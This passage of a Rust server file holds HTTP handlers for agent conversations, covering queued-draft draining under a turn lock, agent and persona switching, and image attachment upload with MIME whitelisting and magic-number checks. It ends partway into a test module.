7063                    talk.short(),
7064                    talk.status.as_str()
7065                )));
7066            }
7067            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7068                return Err(ApiError::conflict("there is no queued draft to resume"));
7069            }
7070            let (cfg, _) = Config::discover(&talk.repo, None)?;
7071            Ok((talk, cfg))
7072        })
7073        .await?
7074    };
7075    let view = TalkView::new(talk.clone(), true);
7076    let talks = ui.talks.clone();
7077    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7078    Ok((StatusCode::ACCEPTED, Json(view)))
7079}
7080
7081/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
7082/// releasing `turn` only once a check finds it truly empty. Shared by both
7083/// callers that can end up owning a talk's turn slot with something already
7084/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
7085/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
7086/// holder just gave up - see the comment at that call site.
7087///
7088/// The release is folded into the final generation check under `turn`'s own
7089/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
7090/// free". Before its blocking `talk::drain`, this loop observes the queued
7091/// generation. A `say` that sees the turn busy writes its draft, then advances
7092/// that generation. Thus, if it lands while the drain is in flight, the final
7093/// check observes the advance and drains again; otherwise it releases the
7094/// claim while holding the same lock. This keeps the release/arrival handoff
7095/// atomic without holding the global claim mutex across filesystem I/O.
7096async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7097    drain_loop_started(talk, talks, cfg, id, turn, None).await;
7098}
7099
7100/// A settings response must not report idle while its claim is still held.
7101/// Wait until the first drain either releases the claim or promotes a draft.
7102/// The task owns the guard even if the HTTP handler is cancelled while waiting.
7103async fn settle_settings_turn(
7104    talk: Talk,
7105    talks: Talks,
7106    cfg: Config,
7107    id: String,
7108    turn: TalkTurnGuard,
7109    observed: u64,
7110) -> bool {
7111    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7112        let turns = Arc::clone(&turn.turns);
7113        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7114        if live.queued.get(&id).copied().unwrap_or(0) == observed {
7115            // Release under the arrival lock; a later `/say` takes its own claim.
7116            turn.release(&mut live);
7117            return false;
7118        }
7119    }
7120    let (started, settled) = tokio::sync::oneshot::channel();
7121    tokio::spawn(drain_loop_started(
7122        talk,
7123        talks,
7124        cfg,
7125        id,
7126        turn,
7127        Some(started),
7128    ));
7129    settled.await.unwrap_or(false)
7130}
7131
7132async fn drain_loop_started(
7133    mut talk: Talk,
7134    talks: Talks,
7135    cfg: Config,
7136    id: String,
7137    turn: TalkTurnGuard,
7138    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7139) {
7140    let live_set = Arc::clone(&turn.turns);
7141    // `Option` rather than binding `turn` directly to a `_turn` that lives
7142    // for the whole function: releasing it has to happen by calling
7143    // `TalkTurnGuard::release` from inside the locked branch below, which
7144    // takes `self` by value. Left as a plain drop instead, `Drop` would still
7145    // remove the id - correctly, if this loop is ever left some other way -
7146    // but doing it there misses the lock this loop is already holding, which
7147    // is the exact gap `release` exists to close.
7148    let mut turn = Some(turn);
7149    loop {
7150        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7151            // The lease was taken over while a turn ran. Whatever is queued
7152            // stays a draft; running it here would race the new owner.
7153            tracing::warn!("talk {id} lost its turn lease; not draining further");
7154            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7155            if let Some(turn) = turn.take() {
7156                turn.release(&mut live);
7157            }
7158            break;
7159        }
7160        {
7161            // A parking upgrade starts no further turn: whatever is queued
7162            // stays a durable draft for the successor.
7163            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7164            if live.parking {
7165                if let Some(turn) = turn.take() {
7166                    turn.release(&mut live);
7167                }
7168                break;
7169            }
7170        }
7171        // `talk::drain` takes the store lock and can write/rename the talk
7172        // file. Keep the turn mutex out of that synchronous work: it protects
7173        // every talk's in-memory claim, not this talk's disk operation.
7174        let observed = live_set
7175            .lock()
7176            .unwrap_or_else(PoisonError::into_inner)
7177            .queued
7178            .get(&id)
7179            .copied()
7180            .unwrap_or(0);
7181        let drained = blocking({
7182            let talks = talks.clone();
7183            let live_set = Arc::clone(&live_set);
7184            move || {
7185                // Promoting a draft is what starts a turn, so it is decided
7186                // under the same lock a parking upgrade takes: either the
7187                // promotion lands first (and its turn is waited for) or the
7188                // draft stays queued.
7189                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7190                let result = if live.parking {
7191                    Ok(None)
7192                } else {
7193                    talk::drain(&mut talk, &talks)
7194                };
7195                drop(live);
7196                Ok((talk, result))
7197            }
7198        })
7199        .await;
7200        let (next_talk, result) = match drained {
7201            Ok(drained) => drained,
7202            Err(e) => {
7203                tracing::warn!(
7204                    status = %e.status,
7205                    message = %e.message,
7206                    "talk {id} could not start queued-text drain"
7207                );
7208                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7209                turn.take()
7210                    .expect("held for the whole loop until released here")
7211                    .release(&mut live);
7212                break;
7213            }
7214        };
7215        talk = next_talk;
7216        let drained = match result {
7217            Ok(Some(drained)) => drained,
7218            Ok(None) => {
7219                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7220                if live.queued.get(&id).copied().unwrap_or(0) != observed {
7221                    continue;
7222                }
7223                turn.take()
7224                    .expect("held for the whole loop until released here")
7225                    .release(&mut live);
7226                break;
7227            }
7228            Err(e) => {
7229                tracing::warn!("talk {id} could not drain queued text: {e:#}");
7230                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7231                turn.take()
7232                    .expect("held for the whole loop until released here")
7233                    .release(&mut live);
7234                break;
7235            }
7236        };
7237        if let Some(started) = started.take() {
7238            let _ = started.send(true);
7239        }
7240        let responded = match turn.as_ref() {
7241            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7242            None => Err(anyhow::anyhow!("the turn guard was released")),
7243        };
7244        if let Err(e) = responded {
7245            tracing::warn!("talk {id} turn failed: {e:#}");
7246        }
7247    }
7248    drop(turn);
7249    if let Some(started) = started {
7250        let _ = started.send(false);
7251    }
7252}
7253
7254/// Clear a queued draft only if it remains exactly the one the caller saw.
7255async fn talk_pending_clear(
7256    State(ui): State<Arc<Ui>>,
7257    Path(id): Path<String>,
7258    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7259) -> ApiResult<Json<TalkView>> {
7260    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7261    blocking(move || {
7262        let id = resolve_talk(&ui.talks, &id)?;
7263        let mut talk = ui.talks.get(&id)?;
7264        if !talk.status.open() {
7265            return Err(ApiError::conflict(format!(
7266                "talk {} is {} and takes no more turns",
7267                talk.short(),
7268                talk.status.as_str()
7269            )));
7270        }
7271        if !talk::clear_pending_if_matches(
7272            &mut talk,
7273            &ui.talks,
7274            &body.expected_text,
7275            &body.expected_attachments,
7276        )? {
7277            return Err(ApiError::conflict(
7278                "queued message changed; reload it before clearing",
7279            ));
7280        }
7281        let thinking = ui.is_thinking(&talk.id);
7282        Ok(Json(TalkView::new(talk, thinking)))
7283    })
7284    .await
7285}
7286
7287/// Atomically edit a queued draft's text while preserving its attachments.
7288/// The snapshot fields make a concurrent queue or drain a conflict rather
7289/// than silently discarding either message.
7290async fn talk_pending_edit(
7291    State(ui): State<Arc<Ui>>,
7292    Path(id): Path<String>,
7293    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7294) -> ApiResult<Json<TalkView>> {
7295    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7296    let (view, reclaimed) = blocking({
7297        let ui = Arc::clone(&ui);
7298        move || {
7299            let id = resolve_talk(&ui.talks, &id)?;
7300            let mut talk = ui.talks.get(&id)?;
7301            if !talk.status.open() {
7302                return Err(ApiError::conflict(format!(
7303                    "talk {} is {} and takes no more turns",
7304                    talk.short(),
7305                    talk.status.as_str()
7306                )));
7307            }
7308            if !talk::edit_pending_message(
7309                &mut talk,
7310                &ui.talks,
7311                &body.text,
7312                &body.expected_text,
7313                &body.expected_attachments,
7314                body.message,
7315            )? {
7316                return Err(ApiError::conflict(
7317                    "queued message changed; reload it before editing",
7318                ));
7319            }
7320            let claim = match ui.begin_queued_talk_turn(&id)? {
7321                Some(turn_guard) => {
7322                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7323                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7324                }
7325                None => None,
7326            };
7327            let thinking = ui.is_thinking(&id);
7328            Ok((TalkView::new(talk, thinking), claim))
7329        }
7330    })
7331    .await?;
7332    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7333        let talks = ui.talks.clone();
7334        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7335    }
7336    Ok(Json(view))
7337}
7338
7339/// The 409 for a talk that takes no more turns.
7340fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7341    if talk.status.open() {
7342        return Ok(());
7343    }
7344    Err(ApiError::conflict(format!(
7345        "talk {} is {} and takes no more turns",
7346        talk.short(),
7347        talk.status.as_str()
7348    )))
7349}
7350
7351/// The body of `POST /api/talks/{id}/agent`.
7352#[derive(Debug, Deserialize)]
7353struct TalkAgent {
7354    agent: String,
7355}
7356
7357/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7358/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7359/// start a turn on the old session between the check and the write; one that
7360/// arrives in that window finds the talk busy and becomes a draft.
7361async fn talk_agent(
7362    State(ui): State<Arc<Ui>>,
7363    Path(id): Path<String>,
7364    Json(body): Json<TalkAgent>,
7365) -> ApiResult<Json<TalkView>> {
7366    let id = {
7367        let ui = Arc::clone(&ui);
7368        blocking(move || resolve_talk(&ui.talks, &id)).await?
7369    };
7370    let repo = {
7371        let ui = Arc::clone(&ui);
7372        let id = id.clone();
7373        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7374    };
7375    let cfg = config_for(&repo).await?;
7376    // Refuse before taking the claim; see `talk_implementers`.
7377    {
7378        let ui = Arc::clone(&ui);
7379        let id = id.clone();
7380        let cfg = cfg.clone();
7381        let wanted = body.agent.clone();
7382        blocking(move || {
7383            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7384                .map_err(ApiError::bad_request_from)?;
7385            refuse_if_closed(&ui.talks.get(&id)?)
7386        })
7387        .await?;
7388    }
7389    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7390        return Err(ApiError::conflict(
7391            "a talk turn is running; change the agent once it has answered",
7392        ));
7393    };
7394    let switched = {
7395        let ui = Arc::clone(&ui);
7396        let id = id.clone();
7397        let cfg = cfg.clone();
7398        blocking(move || {
7399            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7400                .map_err(ApiError::bad_request_from)?;
7401            let mut talk = ui.talks.get(&id)?;
7402            if !talk.status.open() {
7403                return Err(ApiError::conflict(format!(
7404                    "talk {} is {} and takes no more turns",
7405                    talk.short(),
7406                    talk.status.as_str()
7407                )));
7408            }
7409            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7410            Ok(talk)
7411        })
7412        .await
7413    };
7414    // A `/say` that landed while this held the claim saw the talk busy and
7415    // left a durable draft, trusting the claim's owner to drain it. So the
7416    // claim is settled whatever the outcome. Release an empty draft's claim
7417    // before replying; queued drafts continue independently of the handler.
7418    let observed = ui.queued_generation(&id);
7419    let fresh = {
7420        let ui = Arc::clone(&ui);
7421        let id = id.clone();
7422        blocking(move || Ok(ui.talks.get(&id)?)).await
7423    };
7424    let draining = match fresh {
7425        Ok(talk) => {
7426            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7427        }
7428        Err(_) => false,
7429    };
7430    let talk = switched?;
7431    Ok(Json(TalkView::new(talk, draining)))
7432}
7433
7434/// The body of `POST /api/talks/{id}/persona`.
7435#[derive(Debug, Deserialize)]
7436struct TalkPersona {
7437    persona: String,
7438}
7439
7440/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7441/// like [`talk_agent`]: the turn guard is held for the change and always handed
7442/// to `drain_loop`, so a draft left meanwhile is not stranded.
7443async fn talk_persona(
7444    State(ui): State<Arc<Ui>>,
7445    Path(id): Path<String>,
7446    Json(body): Json<TalkPersona>,
7447) -> ApiResult<Json<TalkView>> {
7448    let id = {
7449        let ui = Arc::clone(&ui);
7450        blocking(move || resolve_talk(&ui.talks, &id)).await?
7451    };
7452    let repo = {
7453        let ui = Arc::clone(&ui);
7454        let id = id.clone();
7455        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7456    };
7457    let cfg = config_for(&repo).await?;
7458    // Refuse before taking the claim; see `talk_implementers`.
7459    {
7460        let ui = Arc::clone(&ui);
7461        let id = id.clone();
7462        let cfg = cfg.clone();
7463        let wanted = body.persona.clone();
7464        blocking(move || {
7465            if persona::find(&cfg.talk.personas, &wanted).is_none() {
7466                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7467            }
7468            refuse_if_closed(&ui.talks.get(&id)?)
7469        })
7470        .await?;
7471    }
7472    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7473        return Err(ApiError::conflict(
7474            "a talk turn is running; change the persona once it has answered",
7475        ));
7476    };
7477    let switched = {
7478        let ui = Arc::clone(&ui);
7479        let id = id.clone();
7480        let cfg = cfg.clone();
7481        blocking(move || {
7482            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7483                return Err(ApiError::bad_request(format!(
7484                    "unknown persona `{}`",
7485                    body.persona
7486                )));
7487            };
7488            let mut talk = ui.talks.get(&id)?;
7489            if !talk.status.open() {
7490                return Err(ApiError::conflict(format!(
7491                    "talk {} is {} and takes no more turns",
7492                    talk.short(),
7493                    talk.status.as_str()
7494                )));
7495            }
7496            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7497            Ok(talk)
7498        })
7499        .await
7500    };
7501    // As in `talk_agent`: settle the claim before replying, even on refusal.
7502    let observed = ui.queued_generation(&id);
7503    let fresh = {
7504        let ui = Arc::clone(&ui);
7505        let id = id.clone();
7506        blocking(move || Ok(ui.talks.get(&id)?)).await
7507    };
7508    let draining = match fresh {
7509        Ok(talk) => {
7510            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7511        }
7512        Err(_) => false,
7513    };
7514    let talk = switched?;
7515    Ok(Json(TalkView::new(talk, draining)))
7516}
7517
7518/// The body of `POST /api/talks/{id}/implementers`.
7519#[derive(Debug, Deserialize)]
7520struct TalkImplementers {
7521    implementers: u8,
7522}
7523
7524/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7525/// like [`talk_agent`]: the turn guard is held for the change and always handed
7526/// to `drain_loop`, so a draft left meanwhile is not stranded.
7527async fn talk_implementers(
7528    State(ui): State<Arc<Ui>>,
7529    Path(id): Path<String>,
7530    Json(body): Json<TalkImplementers>,
7531) -> ApiResult<Json<TalkView>> {
7532    let id = {
7533        let ui = Arc::clone(&ui);
7534        blocking(move || resolve_talk(&ui.talks, &id)).await?
7535    };
7536    let repo = {
7537        let ui = Arc::clone(&ui);
7538        let id = id.clone();
7539        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7540    };
7541    let cfg = config_for(&repo).await?;
7542    // Refuse a request that cannot succeed before taking the claim: a claim
7543    // taken for it is handed to `drain_loop`, which holds the talk busy for a
7544    // moment, so a refusal would make the next request see "busy" instead of
7545    // its own answer. The checks after the claim stay the ones that decide.
7546    {
7547        let ui = Arc::clone(&ui);
7548        let id = id.clone();
7549        let cfg = cfg.clone();
7550        let wanted = body.implementers;
7551        blocking(move || {
7552            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7553            refuse_if_closed(&ui.talks.get(&id)?)
7554        })
7555        .await?;
7556    }
7557    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7558        return Err(ApiError::conflict(
7559            "a talk turn is running; change the implementers once it has answered",
7560        ));
7561    };
7562    let switched = {
7563        let ui = Arc::clone(&ui);
7564        let id = id.clone();
7565        let cfg = cfg.clone();
7566        blocking(move || {
7567            let chosen =
7568                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7569            let mut talk = ui.talks.get(&id)?;
7570            if !talk.status.open() {
7571                return Err(ApiError::conflict(format!(
7572                    "talk {} is {} and takes no more turns",
7573                    talk.short(),
7574                    talk.status.as_str()
7575                )));
7576            }
7577            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7578            Ok(talk)
7579        })
7580        .await
7581    };
7582    // As in `talk_agent`: settle the claim before replying, even on refusal.
7583    let observed = ui.queued_generation(&id);
7584    let fresh = {
7585        let ui = Arc::clone(&ui);
7586        let id = id.clone();
7587        blocking(move || Ok(ui.talks.get(&id)?)).await
7588    };
7589    let draining = match fresh {
7590        Ok(talk) => {
7591            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7592        }
7593        Err(_) => false,
7594    };
7595    let talk = switched?;
7596    Ok(Json(TalkView::new(talk, draining)))
7597}
7598
7599/// `POST /api/talks/{id}/close`.
7600async fn talk_close(
7601    State(ui): State<Arc<Ui>>,
7602    Path(id): Path<String>,
7603) -> ApiResult<Json<TalkView>> {
7604    blocking(move || {
7605        let id = resolve_talk(&ui.talks, &id)?;
7606        let mut talk = ui.talks.get(&id)?;
7607        talk::close(&mut talk, &ui.talks)?;
7608        let thinking = ui.is_thinking(&talk.id);
7609        Ok(Json(TalkView::new(talk, thinking)))
7610    })
7611    .await
7612}
7613
7614/// `POST /api/talks/{id}/reopen`.
7615async fn talk_reopen(
7616    State(ui): State<Arc<Ui>>,
7617    Path(id): Path<String>,
7618) -> ApiResult<Json<TalkView>> {
7619    blocking(move || {
7620        let id = resolve_talk(&ui.talks, &id)?;
7621        let mut talk = ui.talks.get(&id)?;
7622        talk::reopen(&mut talk, &ui.talks)?;
7623        let thinking = ui.is_thinking(&talk.id);
7624        Ok(Json(TalkView::new(talk, thinking)))
7625    })
7626    .await
7627}
7628
7629/// `DELETE /api/talks/{id}`.
7630///
7631/// Removes the conversation's record and artifacts outright, unlike
7632/// [`talk_close`] which keeps the record as history. A turn already in
7633/// flight is not refused here the way [`run_delete`] refuses a live run:
7634/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7635/// under [`Talks::guard`], that the record they are about to write back is
7636/// still there, so a delete racing a turn is safe without this route having
7637/// to know a turn is running at all.
7638async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7639    blocking(move || {
7640        let id = resolve_talk(&ui.talks, &id)?;
7641        ui.talks.remove(&id)?;
7642        Ok(StatusCode::NO_CONTENT)
7643    })
7644    .await
7645}
7646
7647/// Expand an id or short id to exactly one talk id.
7648fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7649    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7650}
7651
7652/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7653/// future `talk-say`.
7654async fn talk_attachment_post(
7655    State(ui): State<Arc<Ui>>,
7656    Path(id): Path<String>,
7657    headers: HeaderMap,
7658    body: Bytes,
7659) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7660    let mime = validate_attachment(&headers, &body)?;
7661    let name = filename_header(&headers);
7662    let data = body.to_vec();
7663    blocking(move || {
7664        let id = resolve_talk(&ui.talks, &id)?;
7665        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7666        Ok((StatusCode::CREATED, Json(att)))
7667    })
7668    .await
7669}
7670
7671/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7672/// `<img>` tag in the transcript.
7673async fn talk_attachment_get(
7674    State(ui): State<Arc<Ui>>,
7675    Path((id, att)): Path<(String, String)>,
7676) -> ApiResult<Response> {
7677    blocking(move || {
7678        let id = resolve_talk(&ui.talks, &id)?;
7679        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7680            return Err(ApiError::not_found(format!(
7681                "talk {id} has no attachment `{att}`"
7682            )));
7683        };
7684        Ok(attachment_response(&meta.mime, data))
7685    })
7686    .await
7687}
7688
7689/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
7690/// the icon setting, so changing it changes the URL.
7691fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7692    let mut id = String::new();
7693    for b in p.id.bytes() {
7694        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7695            id.push(char::from(b));
7696        } else {
7697            id.push_str(&format!("%{b:02X}"));
7698        }
7699    }
7700    format!(
7701        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7702        persona_icon::fingerprint(p.icon.as_deref())
7703    )
7704}
7705
7706#[derive(Debug, Default, Deserialize)]
7707struct AvatarQuery {
7708    persona: Option<String>,
7709    /// Set by the page after the first load failed: skip the `icon`.
7710    builtin: Option<String>,
7711}
7712
7713/// Served with every built-in avatar: it is an image, so nothing else may run.
7714const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7715
7716fn builtin_avatar(id: &str) -> Response {
7717    (
7718        [
7719            (header::CONTENT_TYPE, "image/svg+xml"),
7720            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7721            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7722            (header::CACHE_CONTROL, "no-cache"),
7723        ],
7724        persona_icon::builtin_svg(id),
7725    )
7726        .into_response()
7727}
7728
7729/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
7730/// operator's raster `icon` when it resolves and its bytes agree with its
7731/// type, the built-in SVG otherwise. Display only; every failure is a warning
7732/// and the built-in avatar, never an error response.
7733async fn talk_avatar(
7734    State(ui): State<Arc<Ui>>,
7735    Path(id): Path<String>,
7736    Query(q): Query<AvatarQuery>,
7737) -> ApiResult<Response> {
7738    blocking(move || {
7739        let id = resolve_talk(&ui.talks, &id)?;
7740        let talk = ui.talks.get(&id)?;
7741        let wanted = q
7742            .persona
7743            .as_deref()
7744            .map(str::trim)
7745            .filter(|p| !p.is_empty())
7746            .unwrap_or(&talk.persona)
7747            .to_owned();
7748        let specs = match Config::discover(&talk.repo, None) {
7749            Ok((cfg, _)) => cfg.talk.personas,
7750            Err(e) => {
7751                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7752                Vec::new()
7753            }
7754        };
7755        let Some(found) = persona::find(&specs, &wanted) else {
7756            return Ok(builtin_avatar(persona::DEFAULT_ID));
7757        };
7758        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7759            return Ok(builtin_avatar(&found.id));
7760        };
7761        match persona_icon::load(icon) {
7762            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7763                let mut res = attachment_response(mime, bytes);
7764                res.headers_mut().insert(
7765                    header::CACHE_CONTROL,
7766                    header::HeaderValue::from_static("no-cache"),
7767                );
7768                Ok(res)
7769            }
7770            Ok((mime, _)) => {
7771                tracing::warn!(
7772                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7773                    found.id
7774                );
7775                Ok(builtin_avatar(&found.id))
7776            }
7777            Err(e) => {
7778                tracing::warn!(
7779                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7780                    found.id
7781                );
7782                Ok(builtin_avatar(&found.id))
7783            }
7784        }
7785    })
7786    .await
7787}
7788
7789/// Validate an attachment upload's declared `Content-Type` and the bytes
7790/// themselves, returning the canonical mime on success.
7791///
7792/// Two checks, both required: the header has to name one of
7793/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7794/// simply never in the list, active content rather than a picture, the same
7795/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7796/// magic number has to agree. The second is what stops a mislabeled upload -
7797/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7798/// a declared type is a claim, not a fact, so it is never trusted alone.
7799fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7800    if data.len() > ATTACHMENT_MAX_BYTES {
7801        return Err(ApiError::bad_request(format!(
7802            "attachment is {} bytes, over the {} MiB limit",
7803            data.len(),
7804            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7805        ))
7806        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7807    }
7808    if data.is_empty() {
7809        return Err(ApiError::bad_request("attachment is empty"));
7810    }
7811    let declared = declared_mime(headers)?;
7812    match sniffed_mime(data) {
7813        Some(sniffed) if sniffed == declared => Ok(declared),
7814        Some(sniffed) => Err(ApiError::bad_request(format!(
7815            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7816        ))),
7817        None => Err(ApiError::bad_request(
7818            "the file's bytes do not match any accepted image format",
7819        )),
7820    }
7821}
7822
7823/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7824/// and nothing else - parameters like `; charset=` are stripped, but the
7825/// value itself is not otherwise interpreted.
7826fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7827    let raw = headers
7828        .get(header::CONTENT_TYPE)
7829        .and_then(|v| v.to_str().ok())
7830        .unwrap_or("")
7831        .split(';')
7832        .next()
7833        .unwrap_or("")
7834        .trim()
7835        .to_ascii_lowercase();
7836    ATTACHMENT_MIME_WHITELIST
7837        .iter()
7838        .find(|&&m| m == raw)
7839        .copied()
7840        .ok_or_else(|| {
7841            if raw == "image/svg+xml" {
7842                ApiError::bad_request(
7843                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7844                     not just a picture",
7845                )
7846            } else if raw.is_empty() {
7847                ApiError::bad_request("Content-Type is required for an attachment upload")
7848            } else {
7849                ApiError::bad_request(format!(
7850                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7851                     image/gif or image/webp"
7852                ))
7853            }
7854        })
7855}
7856
7857/// Identify an image by its magic number, independent of whatever
7858/// `Content-Type` claimed.
7859fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7860    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7861        Some("image/png")
7862    } else if data.starts_with(b"\xff\xd8\xff") {
7863        Some("image/jpeg")
7864    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7865        Some("image/gif")
7866    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7867        Some("image/webp")
7868    } else {
7869        None
7870    }
7871}
7872
7873/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7874/// display - see [`talk::Attachment::name`]'s doc on why it never
7875/// contributes to a path. A missing or blank header (curl without it, an
7876/// older front end) falls back to a generic name rather than refusing the
7877/// upload over a field that is cosmetic.
7878fn filename_header(headers: &HeaderMap) -> String {
7879    headers
7880        .get(FILENAME_HEADER)
7881        .and_then(|v| v.to_str().ok())
7882        .map(str::trim)
7883        .filter(|s| !s.is_empty())
7884        .unwrap_or("attachment")
7885        .to_owned()
7886}
7887
7888/// Every attachment `GET` response: the mime re-validated against the same
7889/// closed whitelist the upload route enforces - never the string trusted
7890/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7891/// cannot decide it knows better than the type we send. Unlike a panel asset
7892/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7893/// document renders inline, not agent-authored HTML in a sandboxed frame.
7894fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7895    let content_type = ATTACHMENT_MIME_WHITELIST
7896        .iter()
7897        .find(|&&m| m == mime)
7898        .copied()
7899        .unwrap_or("application/octet-stream");
7900    (
7901        [
7902            (header::CONTENT_TYPE, content_type),
7903            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7904        ],
7905        body,
7906    )
7907        .into_response()
7908}
7909
7910/// The configuration for a repository, read off the disk for this request.
7911///
7912/// Through [`blocking`] because discovery reads and merges several TOML files,
7913/// and because the alternative - caching it in [`Ui`] at startup - would mean
7914/// the operator's phone kept interviewing with a roster they had already
7915/// changed, with no way to reload it but restarting the server they are not
7916/// sitting in front of.
7917async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7918    let repo = repo.to_path_buf();
7919    blocking(move || {
7920        let (cfg, _) = Config::discover(&repo, None)?;
7921        Ok(cfg)
7922    })
7923    .await
7924}
7925
7926/// The one prefix rule, used for both runs and tasks: a leading match for a
7927/// full id, a trailing match for the short form an operator reads off a
7928/// report. Written here rather than borrowed from `queue::resolve_id` because
7929/// the UI needs the two failures as different status codes, and telling them
7930/// apart from an error message is not something to build a route on.
7931fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7932    let mut hits = ids
7933        .into_iter()
7934        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7935    match (hits.next(), hits.next()) {
7936        (Some(one), None) => Ok(one),
7937        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7938        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7939            "`{prefix}` matches more than one {what}, including {a} and {b}"
7940        ))),
7941    }
7942}
7943
7944#[cfg(test)]
7945mod tests {
7946
7947    #[test]
7948    fn holder_reads_the_lease_not_the_record() {
7949        let mut q = Question::new(
7950            "run".to_owned(),
7951            "implement".to_owned(),
7952            "impl-A".to_owned(),
7953            "which?".to_owned(),
7954            String::new(),
7955            Vec::new(),
7956        );
7957        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7958        q.cwd = Some("/tmp".to_owned());
7959        assert_eq!(holder_of(&q, None), Some("nobody"));
7960        let beat = |kind, ago: i64| ask::Lease {
7961            kind,
7962            pid: 1,
7963            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7964                .unwrap(),
7965        };
